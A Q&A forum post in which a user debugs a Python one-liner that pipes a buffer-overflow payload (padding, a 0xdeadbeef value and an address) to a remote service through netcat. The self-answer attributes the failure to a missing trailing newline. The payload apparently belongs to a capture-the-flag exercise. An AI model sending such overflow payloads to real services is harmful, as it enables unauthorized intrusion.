I've been trying to pipe bytecode to netcat (nc) like this:

python3 -c "import sys;bof='a'*16;bof2='a'*8;sys.stdout.buffer.write(bof.encode('ascii')+b'\xef\xbe\xad\xde'+bof2.encode('ascii')+b'\x21\x52\x54\x55\x55\x35')" | nc example.com 1337  

But when I execute it my terminal prints out the program's output and as if it is awaiting input, but when I input my text and press enter nothing happens - it still awaits input. I've tried Ctrl+D to end it, I tried ', '"', ')'. It didn't work. Any clue why? Ctrl+C ends the execution but I think nothing is sent or at least the output isn't being printed out making it useless for me :(

What I've also tried: Piping to xxd to check whether there's a mistake there, but nope it seems ok.

I tried googling but apparently to no avail.

1 Answer 1


So I've figured it out:

As you can also see in xxd and other similar programs you're missing a newline! Just add a \n before you close the byte string literal (') and you're good to go!

Case closed!

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .